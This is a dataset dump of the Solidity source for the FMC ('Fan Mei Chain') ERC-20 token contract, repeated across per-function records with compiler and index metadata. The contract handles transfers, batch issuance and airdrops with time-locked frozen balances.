i<payees.length; i++) { require(balances[owner] >= value, "Issuer balance is insufficient."); //地址为空或者发行额度为零 if (payees[i] == address(0)) { _amount = _amount.sub(value); continue; } //circulating balances[payees[i]] = balances[payees[i]].add(value); emit Transfer(owner, payees[i], value); //判断是否需要冻结 if(_date0 > _now0){ //frozen balance Info storage _info = fellowInfo[payees[i]]; uint256 _fValue = _info.frozenValues[_date0]; if(_fValue == 0){ //_date0 doesn't exist in defrozenDates _info.defrozenDates.push(_date0); } //冻结总量增加_value _info.totalFrozenValue = _info.totalFrozenValue.add(value); _info.frozenValues[_date0] = _info.frozenValues[_date0].add(value); balances[payees[i]] = balances[payees[i]].sub(value); balances[frozenAddress] = balances[frozenAddress].add(value); emit Transfer(payees[i], frozenAddress, value); emit Frozen(payees[i], value, _date0, _info.totalFrozenValue); } } balances[owner] = balances[owner].sub(_amount); return true; } // update frozen address function updateFrozenAddress(address newFrozenAddress) public onlyOwner returns(bool){ //要求: //1. 新地址不能为空 //2. 新地址不能为owner //3. 新地址不能与旧地址相同 require(newFrozenAddress != address(0) && newFrozenAddress != owner && newFrozenAddress != frozenAddress); //要求:新地址账本为零 require(balances[newFrozenAddress] == 0); //转移冻结账本 balances[newFrozenAddress] = balances[frozenAddress]; balances[frozenAddress] = 0; emit Transfer(frozenAddress, newFrozenAddress, balances[newFrozenAddress]); frozenAddress = newFrozenAddress; return true; } //平台解冻指定资产 function defrozen(address fellow) public onlyOwner returns(bool){ require(fellow != address(0)); Info storage _info = fellowInfo[fellow]; require(_info.totalFrozenValue > 0); for(uint i = 0; i< _info.defrozenDates.length; i++){ uint256 _date0 = _info.defrozenDates[i]; if(_info.frozenValues[_date0] > 0 && now >= _date0){ //defrozen... uint256 _defrozenValue = _info.frozenValues[_date0]; require(balances[frozenAddress] >= _defrozenValue); balances[frozenAddress] = balances[frozenAddress].sub(_defrozenValue); balances[fellow] = balances[fellow].add(_defrozenValue); _info.totalFrozenValue = _info.totalFrozenValue.sub(_defrozenValue); _info.frozenValues[_date0] = 0; emit Transfer(frozenAddress, fellow, _defrozenValue); emit Defrozen(fellow, _defrozenValue, _date0, _info.totalFrozenValue); } } return true; } // check own assets include: balance, totalForzenValue, defrozenDates, defrozenValues function getOwnAssets() public view returns(uint256, uint256, uint256[], uint256[]){ return getAssets(msg.sender); } // check own assets include: balance, totalForzenValue, defrozenDates, defrozenValues function getAssets(address fellow) public view returns(uint256, uint256, uint256[], uint256[]){ uint256 _value = balances[fellow]; Info storage _info = fellowInfo[fellow]; uint256 _totalFrozenValue = _info.totalFrozenValue; uint256 _size = _info.defrozenDates.length; uint256[] memory _values = new uint256[](_size); for(uint i = 0; i < _size; i++){ _values[i] = _info.frozenValues[_info.defrozenDates[i]]; } return (_value, _totalFrozenValue, _info.defrozenDates, _values); } // 设置token官网和icon信息 function setWebInfo(string _website, string _icon) public onlyOwner returns(bool){ website = _website; icon = _icon; return true; } //返回当前区块链时间: 年月日时 function getNow() public view returns(uint256){ return now; } // @dev An internal pure function to calculate date in XX:00:00 function _calcDate0(uint256 _timestamp) internal pure returns(uint256){ return _timestamp.sub(_timestamp % (60*24)); } // 获取当前日期零点时间戳 function _getNow0() internal view returns(uint256){ return _calcDate0(now); } }
getOwnAssets
function getOwnAssets() public view returns(uint256, uint256, uint256[], uint256[]){ return getAssets(msg.sender); }
// check own assets include: balance, totalForzenValue, defrozenDates, defrozenValues
LineComment
v0.4.25+commit.59dbf8f1
bzzr://7a0ccc9375b07b61ca670f527c5d0ceee8de9898d467ab47544bc70ad284ea8f
{ "func_code_index": [ 8523, 8658 ] }
7,046
FMC
FMC.sol
0x66d4f385c12927493cd205ed25bf21f1512f02ea
Solidity
FMC
contract FMC is StandardToken, Ownable { using SafeMath for uint256; string public constant name = "Fan Mei Chain (FMC)"; string public constant symbol = "FMC"; uint8 public constant decimals = 18; //总配额2亿 uint256 constant INITIAL_SUPPLY = 200000000 * (10 ** uint256(decimals)); //设置代币官网短URL(32字节以内),供管理平台自动查询 string public website = "www.fanmeichain.com"; //设置代币icon短URL(32字节以内),供管理平台自动查询 string public icon = "/icon/fmc.png"; //冻结账户 address public frozenAddress; //锁仓信息 mapping(address=>Info) internal fellowInfo; // fellow info struct Info{ uint256[] defrozenDates; //解冻日期 mapping(uint256=>uint256) frozenValues; //冻结金额 uint256 totalFrozenValue; //全部冻结资产总额 } // 事件定义 event Frozen(address user, uint256 value, uint256 defrozenDate, uint256 totalFrozenValue); event Defrozen(address user, uint256 value, uint256 defrozenDate, uint256 totalFrozenValue); // Constructor that gives msg.sender all of existing tokens. constructor(address _frozenAddress) public { require(_frozenAddress != address(0) && _frozenAddress != msg.sender); frozenAddress = _frozenAddress; totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY); } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); //normal transfer balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); if(_to == frozenAddress){ //defrozing Info storage _info = fellowInfo[msg.sender]; if(_info.totalFrozenValue > 0){ for(uint i=0; i< _info.defrozenDates.length; i++){ uint256 _date0 = _info.defrozenDates[i]; if(_info.frozenValues[_date0] > 0 && now >= _date0){ //defrozen... uint256 _defrozenValue = _info.frozenValues[_date0]; require(balances[frozenAddress] >= _defrozenValue); balances[frozenAddress] = balances[frozenAddress].sub(_defrozenValue); balances[msg.sender] = balances[msg.sender].add(_defrozenValue); _info.totalFrozenValue = _info.totalFrozenValue.sub(_defrozenValue); _info.frozenValues[_date0] = 0; emit Transfer(frozenAddress, msg.sender, _defrozenValue); emit Defrozen(msg.sender, _defrozenValue, _date0, _info.totalFrozenValue); } } } } return true; } // issue in batch with forzen function issue(address[] payees, uint256[] values, uint16[] deferDays) public onlyOwner returns(bool) { require(payees.length > 0 && payees.length == values.length); uint256 _now0 = _getNow0(); for (uint i = 0; i<payees.length; i++) { require(balances[owner] >= values[i], "Issuer balance is insufficient."); //地址为空或者发行额度为零 if (payees[i] == address(0) || values[i] == uint256(0)) { continue; } balances[owner] = balances[owner].sub(values[i]); balances[payees[i]] = balances[payees[i]].add(values[i]); emit Transfer(owner, payees[i], values[i]); uint256 _date0 = _now0.add(deferDays[i]*24*3600); //判断是否需要冻结 if(_date0 > _now0){ //frozen balance Info storage _info = fellowInfo[payees[i]]; uint256 _fValue = _info.frozenValues[_date0]; if(_fValue == 0){ //_date0 doesn't exist in defrozenDates _info.defrozenDates.push(_date0); } //冻结总量增加_value _info.totalFrozenValue = _info.totalFrozenValue.add(values[i]); _info.frozenValues[_date0] = _info.frozenValues[_date0].add(values[i]); balances[payees[i]] = balances[payees[i]].sub(values[i]); balances[frozenAddress] = balances[frozenAddress].add(values[i]); emit Transfer(payees[i], frozenAddress, values[i]); emit Frozen(payees[i], values[i], _date0, _info.totalFrozenValue); } } return true; } // airdrop in with same value and deferDays function airdrop(address[] payees, uint256 value, uint16 deferDays) public onlyOwner returns(bool) { require(payees.length > 0 && value > 0); uint256 _amount = value.mul(payees.length); require(balances[owner] > _amount); uint256 _now0 = _getNow0(); uint256 _date0 = _now0.add(deferDays*24*3600); for (uint i = 0; i<payees.length; i++) { require(balances[owner] >= value, "Issuer balance is insufficient."); //地址为空或者发行额度为零 if (payees[i] == address(0)) { _amount = _amount.sub(value); continue; } //circulating balances[payees[i]] = balances[payees[i]].add(value); emit Transfer(owner, payees[i], value); //判断是否需要冻结 if(_date0 > _now0){ //frozen balance Info storage _info = fellowInfo[payees[i]]; uint256 _fValue = _info.frozenValues[_date0]; if(_fValue == 0){ //_date0 doesn't exist in defrozenDates _info.defrozenDates.push(_date0); } //冻结总量增加_value _info.totalFrozenValue = _info.totalFrozenValue.add(value); _info.frozenValues[_date0] = _info.frozenValues[_date0].add(value); balances[payees[i]] = balances[payees[i]].sub(value); balances[frozenAddress] = balances[frozenAddress].add(value); emit Transfer(payees[i], frozenAddress, value); emit Frozen(payees[i], value, _date0, _info.totalFrozenValue); } } balances[owner] = balances[owner].sub(_amount); return true; } // update frozen address function updateFrozenAddress(address newFrozenAddress) public onlyOwner returns(bool){ //要求: //1. 新地址不能为空 //2. 新地址不能为owner //3. 新地址不能与旧地址相同 require(newFrozenAddress != address(0) && newFrozenAddress != owner && newFrozenAddress != frozenAddress); //要求:新地址账本为零 require(balances[newFrozenAddress] == 0); //转移冻结账本 balances[newFrozenAddress] = balances[frozenAddress]; balances[frozenAddress] = 0; emit Transfer(frozenAddress, newFrozenAddress, balances[newFrozenAddress]); frozenAddress = newFrozenAddress; return true; } //平台解冻指定资产 function defrozen(address fellow) public onlyOwner returns(bool){ require(fellow != address(0)); Info storage _info = fellowInfo[fellow]; require(_info.totalFrozenValue > 0); for(uint i = 0; i< _info.defrozenDates.length; i++){ uint256 _date0 = _info.defrozenDates[i]; if(_info.frozenValues[_date0] > 0 && now >= _date0){ //defrozen... uint256 _defrozenValue = _info.frozenValues[_date0]; require(balances[frozenAddress] >= _defrozenValue); balances[frozenAddress] = balances[frozenAddress].sub(_defrozenValue); balances[fellow] = balances[fellow].add(_defrozenValue); _info.totalFrozenValue = _info.totalFrozenValue.sub(_defrozenValue); _info.frozenValues[_date0] = 0; emit Transfer(frozenAddress, fellow, _defrozenValue); emit Defrozen(fellow, _defrozenValue, _date0, _info.totalFrozenValue); } } return true; } // check own assets include: balance, totalForzenValue, defrozenDates, defrozenValues function getOwnAssets() public view returns(uint256, uint256, uint256[], uint256[]){ return getAssets(msg.sender); } // check own assets include: balance, totalForzenValue, defrozenDates, defrozenValues function getAssets(address fellow) public view returns(uint256, uint256, uint256[], uint256[]){ uint256 _value = balances[fellow]; Info storage _info = fellowInfo[fellow]; uint256 _totalFrozenValue = _info.totalFrozenValue; uint256 _size = _info.defrozenDates.length; uint256[] memory _values = new uint256[](_size); for(uint i = 0; i < _size; i++){ _values[i] = _info.frozenValues[_info.defrozenDates[i]]; } return (_value, _totalFrozenValue, _info.defrozenDates, _values); } // 设置token官网和icon信息 function setWebInfo(string _website, string _icon) public onlyOwner returns(bool){ website = _website; icon = _icon; return true; } //返回当前区块链时间: 年月日时 function getNow() public view returns(uint256){ return now; } // @dev An internal pure function to calculate date in XX:00:00 function _calcDate0(uint256 _timestamp) internal pure returns(uint256){ return _timestamp.sub(_timestamp % (60*24)); } // 获取当前日期零点时间戳 function _getNow0() internal view returns(uint256){ return _calcDate0(now); } }
getAssets
function getAssets(address fellow) public view returns(uint256, uint256, uint256[], uint256[]){ uint256 _value = balances[fellow]; Info storage _info = fellowInfo[fellow]; uint256 _totalFrozenValue = _info.totalFrozenValue; uint256 _size = _info.defrozenDates.length; uint256[] memory _values = new uint256[](_size); for(uint i = 0; i < _size; i++){ _values[i] = _info.frozenValues[_info.defrozenDates[i]]; } return (_value, _totalFrozenValue, _info.defrozenDates, _values); }
// check own assets include: balance, totalForzenValue, defrozenDates, defrozenValues
LineComment
v0.4.25+commit.59dbf8f1
bzzr://7a0ccc9375b07b61ca670f527c5d0ceee8de9898d467ab47544bc70ad284ea8f
{ "func_code_index": [ 8750, 9321 ] }
7,047
FMC
FMC.sol
0x66d4f385c12927493cd205ed25bf21f1512f02ea
Solidity
FMC
contract FMC is StandardToken, Ownable { using SafeMath for uint256; string public constant name = "Fan Mei Chain (FMC)"; string public constant symbol = "FMC"; uint8 public constant decimals = 18; //总配额2亿 uint256 constant INITIAL_SUPPLY = 200000000 * (10 ** uint256(decimals)); //设置代币官网短URL(32字节以内),供管理平台自动查询 string public website = "www.fanmeichain.com"; //设置代币icon短URL(32字节以内),供管理平台自动查询 string public icon = "/icon/fmc.png"; //冻结账户 address public frozenAddress; //锁仓信息 mapping(address=>Info) internal fellowInfo; // fellow info struct Info{ uint256[] defrozenDates; //解冻日期 mapping(uint256=>uint256) frozenValues; //冻结金额 uint256 totalFrozenValue; //全部冻结资产总额 } // 事件定义 event Frozen(address user, uint256 value, uint256 defrozenDate, uint256 totalFrozenValue); event Defrozen(address user, uint256 value, uint256 defrozenDate, uint256 totalFrozenValue); // Constructor that gives msg.sender all of existing tokens. constructor(address _frozenAddress) public { require(_frozenAddress != address(0) && _frozenAddress != msg.sender); frozenAddress = _frozenAddress; totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY); } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); //normal transfer balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); if(_to == frozenAddress){ //defrozing Info storage _info = fellowInfo[msg.sender]; if(_info.totalFrozenValue > 0){ for(uint i=0; i< _info.defrozenDates.length; i++){ uint256 _date0 = _info.defrozenDates[i]; if(_info.frozenValues[_date0] > 0 && now >= _date0){ //defrozen... uint256 _defrozenValue = _info.frozenValues[_date0]; require(balances[frozenAddress] >= _defrozenValue); balances[frozenAddress] = balances[frozenAddress].sub(_defrozenValue); balances[msg.sender] = balances[msg.sender].add(_defrozenValue); _info.totalFrozenValue = _info.totalFrozenValue.sub(_defrozenValue); _info.frozenValues[_date0] = 0; emit Transfer(frozenAddress, msg.sender, _defrozenValue); emit Defrozen(msg.sender, _defrozenValue, _date0, _info.totalFrozenValue); } } } } return true; } // issue in batch with forzen function issue(address[] payees, uint256[] values, uint16[] deferDays) public onlyOwner returns(bool) { require(payees.length > 0 && payees.length == values.length); uint256 _now0 = _getNow0(); for (uint i = 0; i<payees.length; i++) { require(balances[owner] >= values[i], "Issuer balance is insufficient."); //地址为空或者发行额度为零 if (payees[i] == address(0) || values[i] == uint256(0)) { continue; } balances[owner] = balances[owner].sub(values[i]); balances[payees[i]] = balances[payees[i]].add(values[i]); emit Transfer(owner, payees[i], values[i]); uint256 _date0 = _now0.add(deferDays[i]*24*3600); //判断是否需要冻结 if(_date0 > _now0){ //frozen balance Info storage _info = fellowInfo[payees[i]]; uint256 _fValue = _info.frozenValues[_date0]; if(_fValue == 0){ //_date0 doesn't exist in defrozenDates _info.defrozenDates.push(_date0); } //冻结总量增加_value _info.totalFrozenValue = _info.totalFrozenValue.add(values[i]); _info.frozenValues[_date0] = _info.frozenValues[_date0].add(values[i]); balances[payees[i]] = balances[payees[i]].sub(values[i]); balances[frozenAddress] = balances[frozenAddress].add(values[i]); emit Transfer(payees[i], frozenAddress, values[i]); emit Frozen(payees[i], values[i], _date0, _info.totalFrozenValue); } } return true; } // airdrop in with same value and deferDays function airdrop(address[] payees, uint256 value, uint16 deferDays) public onlyOwner returns(bool) { require(payees.length > 0 && value > 0); uint256 _amount = value.mul(payees.length); require(balances[owner] > _amount); uint256 _now0 = _getNow0(); uint256 _date0 = _now0.add(deferDays*24*3600); for (uint i = 0; i<payees.length; i++) { require(balances[owner] >= value, "Issuer balance is insufficient."); //地址为空或者发行额度为零 if (payees[i] == address(0)) { _amount = _amount.sub(value); continue; } //circulating balances[payees[i]] = balances[payees[i]].add(value); emit Transfer(owner, payees[i], value); //判断是否需要冻结 if(_date0 > _now0){ //frozen balance Info storage _info = fellowInfo[payees[i]]; uint256 _fValue = _info.frozenValues[_date0]; if(_fValue == 0){ //_date0 doesn't exist in defrozenDates _info.defrozenDates.push(_date0); } //冻结总量增加_value _info.totalFrozenValue = _info.totalFrozenValue.add(value); _info.frozenValues[_date0] = _info.frozenValues[_date0].add(value); balances[payees[i]] = balances[payees[i]].sub(value); balances[frozenAddress] = balances[frozenAddress].add(value); emit Transfer(payees[i], frozenAddress, value); emit Frozen(payees[i], value, _date0, _info.totalFrozenValue); } } balances[owner] = balances[owner].sub(_amount); return true; } // update frozen address function updateFrozenAddress(address newFrozenAddress) public onlyOwner returns(bool){ //要求: //1. 新地址不能为空 //2. 新地址不能为owner //3. 新地址不能与旧地址相同 require(newFrozenAddress != address(0) && newFrozenAddress != owner && newFrozenAddress != frozenAddress); //要求:新地址账本为零 require(balances[newFrozenAddress] == 0); //转移冻结账本 balances[newFrozenAddress] = balances[frozenAddress]; balances[frozenAddress] = 0; emit Transfer(frozenAddress, newFrozenAddress, balances[newFrozenAddress]); frozenAddress = newFrozenAddress; return true; } //平台解冻指定资产 function defrozen(address fellow) public onlyOwner returns(bool){ require(fellow != address(0)); Info storage _info = fellowInfo[fellow]; require(_info.totalFrozenValue > 0); for(uint i = 0; i< _info.defrozenDates.length; i++){ uint256 _date0 = _info.defrozenDates[i]; if(_info.frozenValues[_date0] > 0 && now >= _date0){ //defrozen... uint256 _defrozenValue = _info.frozenValues[_date0]; require(balances[frozenAddress] >= _defrozenValue); balances[frozenAddress] = balances[frozenAddress].sub(_defrozenValue); balances[fellow] = balances[fellow].add(_defrozenValue); _info.totalFrozenValue = _info.totalFrozenValue.sub(_defrozenValue); _info.frozenValues[_date0] = 0; emit Transfer(frozenAddress, fellow, _defrozenValue); emit Defrozen(fellow, _defrozenValue, _date0, _info.totalFrozenValue); } } return true; } // check own assets include: balance, totalForzenValue, defrozenDates, defrozenValues function getOwnAssets() public view returns(uint256, uint256, uint256[], uint256[]){ return getAssets(msg.sender); } // check own assets include: balance, totalForzenValue, defrozenDates, defrozenValues function getAssets(address fellow) public view returns(uint256, uint256, uint256[], uint256[]){ uint256 _value = balances[fellow]; Info storage _info = fellowInfo[fellow]; uint256 _totalFrozenValue = _info.totalFrozenValue; uint256 _size = _info.defrozenDates.length; uint256[] memory _values = new uint256[](_size); for(uint i = 0; i < _size; i++){ _values[i] = _info.frozenValues[_info.defrozenDates[i]]; } return (_value, _totalFrozenValue, _info.defrozenDates, _values); } // 设置token官网和icon信息 function setWebInfo(string _website, string _icon) public onlyOwner returns(bool){ website = _website; icon = _icon; return true; } //返回当前区块链时间: 年月日时 function getNow() public view returns(uint256){ return now; } // @dev An internal pure function to calculate date in XX:00:00 function _calcDate0(uint256 _timestamp) internal pure returns(uint256){ return _timestamp.sub(_timestamp % (60*24)); } // 获取当前日期零点时间戳 function _getNow0() internal view returns(uint256){ return _calcDate0(now); } }
setWebInfo
function setWebInfo(string _website, string _icon) public onlyOwner returns(bool){ website = _website; icon = _icon; return true; }
// 设置token官网和icon信息
LineComment
v0.4.25+commit.59dbf8f1
bzzr://7a0ccc9375b07b61ca670f527c5d0ceee8de9898d467ab47544bc70ad284ea8f
{ "func_code_index": [ 9347, 9515 ] }
7,048
FMC
FMC.sol
0x66d4f385c12927493cd205ed25bf21f1512f02ea
Solidity
FMC
contract FMC is StandardToken, Ownable { using SafeMath for uint256; string public constant name = "Fan Mei Chain (FMC)"; string public constant symbol = "FMC"; uint8 public constant decimals = 18; //总配额2亿 uint256 constant INITIAL_SUPPLY = 200000000 * (10 ** uint256(decimals)); //设置代币官网短URL(32字节以内),供管理平台自动查询 string public website = "www.fanmeichain.com"; //设置代币icon短URL(32字节以内),供管理平台自动查询 string public icon = "/icon/fmc.png"; //冻结账户 address public frozenAddress; //锁仓信息 mapping(address=>Info) internal fellowInfo; // fellow info struct Info{ uint256[] defrozenDates; //解冻日期 mapping(uint256=>uint256) frozenValues; //冻结金额 uint256 totalFrozenValue; //全部冻结资产总额 } // 事件定义 event Frozen(address user, uint256 value, uint256 defrozenDate, uint256 totalFrozenValue); event Defrozen(address user, uint256 value, uint256 defrozenDate, uint256 totalFrozenValue); // Constructor that gives msg.sender all of existing tokens. constructor(address _frozenAddress) public { require(_frozenAddress != address(0) && _frozenAddress != msg.sender); frozenAddress = _frozenAddress; totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY); } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); //normal transfer balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); if(_to == frozenAddress){ //defrozing Info storage _info = fellowInfo[msg.sender]; if(_info.totalFrozenValue > 0){ for(uint i=0; i< _info.defrozenDates.length; i++){ uint256 _date0 = _info.defrozenDates[i]; if(_info.frozenValues[_date0] > 0 && now >= _date0){ //defrozen... uint256 _defrozenValue = _info.frozenValues[_date0]; require(balances[frozenAddress] >= _defrozenValue); balances[frozenAddress] = balances[frozenAddress].sub(_defrozenValue); balances[msg.sender] = balances[msg.sender].add(_defrozenValue); _info.totalFrozenValue = _info.totalFrozenValue.sub(_defrozenValue); _info.frozenValues[_date0] = 0; emit Transfer(frozenAddress, msg.sender, _defrozenValue); emit Defrozen(msg.sender, _defrozenValue, _date0, _info.totalFrozenValue); } } } } return true; } // issue in batch with forzen function issue(address[] payees, uint256[] values, uint16[] deferDays) public onlyOwner returns(bool) { require(payees.length > 0 && payees.length == values.length); uint256 _now0 = _getNow0(); for (uint i = 0; i<payees.length; i++) { require(balances[owner] >= values[i], "Issuer balance is insufficient."); //地址为空或者发行额度为零 if (payees[i] == address(0) || values[i] == uint256(0)) { continue; } balances[owner] = balances[owner].sub(values[i]); balances[payees[i]] = balances[payees[i]].add(values[i]); emit Transfer(owner, payees[i], values[i]); uint256 _date0 = _now0.add(deferDays[i]*24*3600); //判断是否需要冻结 if(_date0 > _now0){ //frozen balance Info storage _info = fellowInfo[payees[i]]; uint256 _fValue = _info.frozenValues[_date0]; if(_fValue == 0){ //_date0 doesn't exist in defrozenDates _info.defrozenDates.push(_date0); } //冻结总量增加_value _info.totalFrozenValue = _info.totalFrozenValue.add(values[i]); _info.frozenValues[_date0] = _info.frozenValues[_date0].add(values[i]); balances[payees[i]] = balances[payees[i]].sub(values[i]); balances[frozenAddress] = balances[frozenAddress].add(values[i]); emit Transfer(payees[i], frozenAddress, values[i]); emit Frozen(payees[i], values[i], _date0, _info.totalFrozenValue); } } return true; } // airdrop in with same value and deferDays function airdrop(address[] payees, uint256 value, uint16 deferDays) public onlyOwner returns(bool) { require(payees.length > 0 && value > 0); uint256 _amount = value.mul(payees.length); require(balances[owner] > _amount); uint256 _now0 = _getNow0(); uint256 _date0 = _now0.add(deferDays*24*3600); for (uint i = 0; i<payees.length; i++) { require(balances[owner] >= value, "Issuer balance is insufficient."); //地址为空或者发行额度为零 if (payees[i] == address(0)) { _amount = _amount.sub(value); continue; } //circulating balances[payees[i]] = balances[payees[i]].add(value); emit Transfer(owner, payees[i], value); //判断是否需要冻结 if(_date0 > _now0){ //frozen balance Info storage _info = fellowInfo[payees[i]]; uint256 _fValue = _info.frozenValues[_date0]; if(_fValue == 0){ //_date0 doesn't exist in defrozenDates _info.defrozenDates.push(_date0); } //冻结总量增加_value _info.totalFrozenValue = _info.totalFrozenValue.add(value); _info.frozenValues[_date0] = _info.frozenValues[_date0].add(value); balances[payees[i]] = balances[payees[i]].sub(value); balances[frozenAddress] = balances[frozenAddress].add(value); emit Transfer(payees[i], frozenAddress, value); emit Frozen(payees[i], value, _date0, _info.totalFrozenValue); } } balances[owner] = balances[owner].sub(_amount); return true; } // update frozen address function updateFrozenAddress(address newFrozenAddress) public onlyOwner returns(bool){ //要求: //1. 新地址不能为空 //2. 新地址不能为owner //3. 新地址不能与旧地址相同 require(newFrozenAddress != address(0) && newFrozenAddress != owner && newFrozenAddress != frozenAddress); //要求:新地址账本为零 require(balances[newFrozenAddress] == 0); //转移冻结账本 balances[newFrozenAddress] = balances[frozenAddress]; balances[frozenAddress] = 0; emit Transfer(frozenAddress, newFrozenAddress, balances[newFrozenAddress]); frozenAddress = newFrozenAddress; return true; } //平台解冻指定资产 function defrozen(address fellow) public onlyOwner returns(bool){ require(fellow != address(0)); Info storage _info = fellowInfo[fellow]; require(_info.totalFrozenValue > 0); for(uint i = 0; i< _info.defrozenDates.length; i++){ uint256 _date0 = _info.defrozenDates[i]; if(_info.frozenValues[_date0] > 0 && now >= _date0){ //defrozen... uint256 _defrozenValue = _info.frozenValues[_date0]; require(balances[frozenAddress] >= _defrozenValue); balances[frozenAddress] = balances[frozenAddress].sub(_defrozenValue); balances[fellow] = balances[fellow].add(_defrozenValue); _info.totalFrozenValue = _info.totalFrozenValue.sub(_defrozenValue); _info.frozenValues[_date0] = 0; emit Transfer(frozenAddress, fellow, _defrozenValue); emit Defrozen(fellow, _defrozenValue, _date0, _info.totalFrozenValue); } } return true; } // check own assets include: balance, totalForzenValue, defrozenDates, defrozenValues function getOwnAssets() public view returns(uint256, uint256, uint256[], uint256[]){ return getAssets(msg.sender); } // check own assets include: balance, totalForzenValue, defrozenDates, defrozenValues function getAssets(address fellow) public view returns(uint256, uint256, uint256[], uint256[]){ uint256 _value = balances[fellow]; Info storage _info = fellowInfo[fellow]; uint256 _totalFrozenValue = _info.totalFrozenValue; uint256 _size = _info.defrozenDates.length; uint256[] memory _values = new uint256[](_size); for(uint i = 0; i < _size; i++){ _values[i] = _info.frozenValues[_info.defrozenDates[i]]; } return (_value, _totalFrozenValue, _info.defrozenDates, _values); } // 设置token官网和icon信息 function setWebInfo(string _website, string _icon) public onlyOwner returns(bool){ website = _website; icon = _icon; return true; } //返回当前区块链时间: 年月日时 function getNow() public view returns(uint256){ return now; } // @dev An internal pure function to calculate date in XX:00:00 function _calcDate0(uint256 _timestamp) internal pure returns(uint256){ return _timestamp.sub(_timestamp % (60*24)); } // 获取当前日期零点时间戳 function _getNow0() internal view returns(uint256){ return _calcDate0(now); } }
getNow
function getNow() public view returns(uint256){ return now; }
//返回当前区块链时间: 年月日时
LineComment
v0.4.25+commit.59dbf8f1
bzzr://7a0ccc9375b07b61ca670f527c5d0ceee8de9898d467ab47544bc70ad284ea8f
{ "func_code_index": [ 9539, 9619 ] }
7,049
FMC
FMC.sol
0x66d4f385c12927493cd205ed25bf21f1512f02ea
Solidity
FMC
contract FMC is StandardToken, Ownable { using SafeMath for uint256; string public constant name = "Fan Mei Chain (FMC)"; string public constant symbol = "FMC"; uint8 public constant decimals = 18; //总配额2亿 uint256 constant INITIAL_SUPPLY = 200000000 * (10 ** uint256(decimals)); //设置代币官网短URL(32字节以内),供管理平台自动查询 string public website = "www.fanmeichain.com"; //设置代币icon短URL(32字节以内),供管理平台自动查询 string public icon = "/icon/fmc.png"; //冻结账户 address public frozenAddress; //锁仓信息 mapping(address=>Info) internal fellowInfo; // fellow info struct Info{ uint256[] defrozenDates; //解冻日期 mapping(uint256=>uint256) frozenValues; //冻结金额 uint256 totalFrozenValue; //全部冻结资产总额 } // 事件定义 event Frozen(address user, uint256 value, uint256 defrozenDate, uint256 totalFrozenValue); event Defrozen(address user, uint256 value, uint256 defrozenDate, uint256 totalFrozenValue); // Constructor that gives msg.sender all of existing tokens. constructor(address _frozenAddress) public { require(_frozenAddress != address(0) && _frozenAddress != msg.sender); frozenAddress = _frozenAddress; totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY); } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); //normal transfer balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); if(_to == frozenAddress){ //defrozing Info storage _info = fellowInfo[msg.sender]; if(_info.totalFrozenValue > 0){ for(uint i=0; i< _info.defrozenDates.length; i++){ uint256 _date0 = _info.defrozenDates[i]; if(_info.frozenValues[_date0] > 0 && now >= _date0){ //defrozen... uint256 _defrozenValue = _info.frozenValues[_date0]; require(balances[frozenAddress] >= _defrozenValue); balances[frozenAddress] = balances[frozenAddress].sub(_defrozenValue); balances[msg.sender] = balances[msg.sender].add(_defrozenValue); _info.totalFrozenValue = _info.totalFrozenValue.sub(_defrozenValue); _info.frozenValues[_date0] = 0; emit Transfer(frozenAddress, msg.sender, _defrozenValue); emit Defrozen(msg.sender, _defrozenValue, _date0, _info.totalFrozenValue); } } } } return true; } // issue in batch with forzen function issue(address[] payees, uint256[] values, uint16[] deferDays) public onlyOwner returns(bool) { require(payees.length > 0 && payees.length == values.length); uint256 _now0 = _getNow0(); for (uint i = 0; i<payees.length; i++) { require(balances[owner] >= values[i], "Issuer balance is insufficient."); //地址为空或者发行额度为零 if (payees[i] == address(0) || values[i] == uint256(0)) { continue; } balances[owner] = balances[owner].sub(values[i]); balances[payees[i]] = balances[payees[i]].add(values[i]); emit Transfer(owner, payees[i], values[i]); uint256 _date0 = _now0.add(deferDays[i]*24*3600); //判断是否需要冻结 if(_date0 > _now0){ //frozen balance Info storage _info = fellowInfo[payees[i]]; uint256 _fValue = _info.frozenValues[_date0]; if(_fValue == 0){ //_date0 doesn't exist in defrozenDates _info.defrozenDates.push(_date0); } //冻结总量增加_value _info.totalFrozenValue = _info.totalFrozenValue.add(values[i]); _info.frozenValues[_date0] = _info.frozenValues[_date0].add(values[i]); balances[payees[i]] = balances[payees[i]].sub(values[i]); balances[frozenAddress] = balances[frozenAddress].add(values[i]); emit Transfer(payees[i], frozenAddress, values[i]); emit Frozen(payees[i], values[i], _date0, _info.totalFrozenValue); } } return true; } // airdrop in with same value and deferDays function airdrop(address[] payees, uint256 value, uint16 deferDays) public onlyOwner returns(bool) { require(payees.length > 0 && value > 0); uint256 _amount = value.mul(payees.length); require(balances[owner] > _amount); uint256 _now0 = _getNow0(); uint256 _date0 = _now0.add(deferDays*24*3600); for (uint i = 0; i<payees.length; i++) { require(balances[owner] >= 